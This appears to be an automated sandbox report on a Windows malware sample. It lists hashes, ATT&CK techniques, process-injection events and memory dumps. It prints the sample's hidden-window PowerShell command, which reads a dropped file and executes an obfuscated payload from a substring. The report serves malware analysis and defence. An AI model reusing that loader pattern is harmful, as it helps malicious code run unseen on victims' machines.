5d03acf2ac90c88be47bd3ae811fcc7ebfb7e8cc0018c3eda2c205b0bb4ba90c

Analysis

max time kernel
90s
max time network
16s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
26-11-2024 02:36

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General

Target

5d03acf2ac90c88be47bd3ae811fcc7ebfb7e8cc0018c3eda2c205b0bb4ba90c.exe
Size

1.1MB
MD5

6d3f0aac19f5bae4c91bb3371b867852
SHA1

d63b777dd2fd2a1663bafb85948fa56477935796
SHA256

5d03acf2ac90c88be47bd3ae811fcc7ebfb7e8cc0018c3eda2c205b0bb4ba90c
SHA512

46f717d0a28a490e2631620f8be91d8b603d872c5db6fe59e062d3dd10fb7c4e5351f73ff65dd451acb790fe3a49a4494c7bd49e5e2ba1b87cb4ba71df7fa530
SSDEEP

24576:QS8Rx57ZVv0of1RkVZzoOQxdVo18vBtpPibYy:uzZnv0of1RkgOQxdGctwr

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2124	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\afstresningernes.lnk	5d03acf2ac90c88be47bd3ae811fcc7ebfb7e8cc0018c3eda2c205b0bb4ba90c.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5d03acf2ac90c88be47bd3ae811fcc7ebfb7e8cc0018c3eda2c205b0bb4ba90c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2124	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2124	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2296 wrote to memory of 2124	2296	5d03acf2ac90c88be47bd3ae811fcc7ebfb7e8cc0018c3eda2c205b0bb4ba90c.exe	30
PID 2296 wrote to memory of 2124	2296	5d03acf2ac90c88be47bd3ae811fcc7ebfb7e8cc0018c3eda2c205b0bb4ba90c.exe	30
PID 2296 wrote to memory of 2124	2296	5d03acf2ac90c88be47bd3ae811fcc7ebfb7e8cc0018c3eda2c205b0bb4ba90c.exe	30
PID 2296 wrote to memory of 2124	2296	5d03acf2ac90c88be47bd3ae811fcc7ebfb7e8cc0018c3eda2c205b0bb4ba90c.exe	30

C:\Users\Admin\AppData\Local\Temp\5d03acf2ac90c88be47bd3ae811fcc7ebfb7e8cc0018c3eda2c205b0bb4ba90c.exe
"C:\Users\Admin\AppData\Local\Temp\5d03acf2ac90c88be47bd3ae811fcc7ebfb7e8cc0018c3eda2c205b0bb4ba90c.exe"
1⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2296
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Haokah=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\groupies\Fraiche.Cui';$Ssterskibets=$Haokah.SubString(53203,3);.$Ssterskibets($Haokah)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2124-10-0x0000000073AB1000-0x0000000073AB2000-memory.dmp

Filesize
4KB

Download
memory/2124-11-0x0000000073AB0000-0x000000007405B000-memory.dmp

Filesize
5.7MB

Download
memory/2124-13-0x0000000073AB0000-0x000000007405B000-memory.dmp

Filesize
5.7MB

Download
memory/2124-12-0x0000000073AB0000-0x000000007405B000-memory.dmp

Filesize
5.7MB

Download
memory/2124-14-0x0000000073AB0000-0x000000007405B000-memory.dmp

Filesize
5.7MB

Download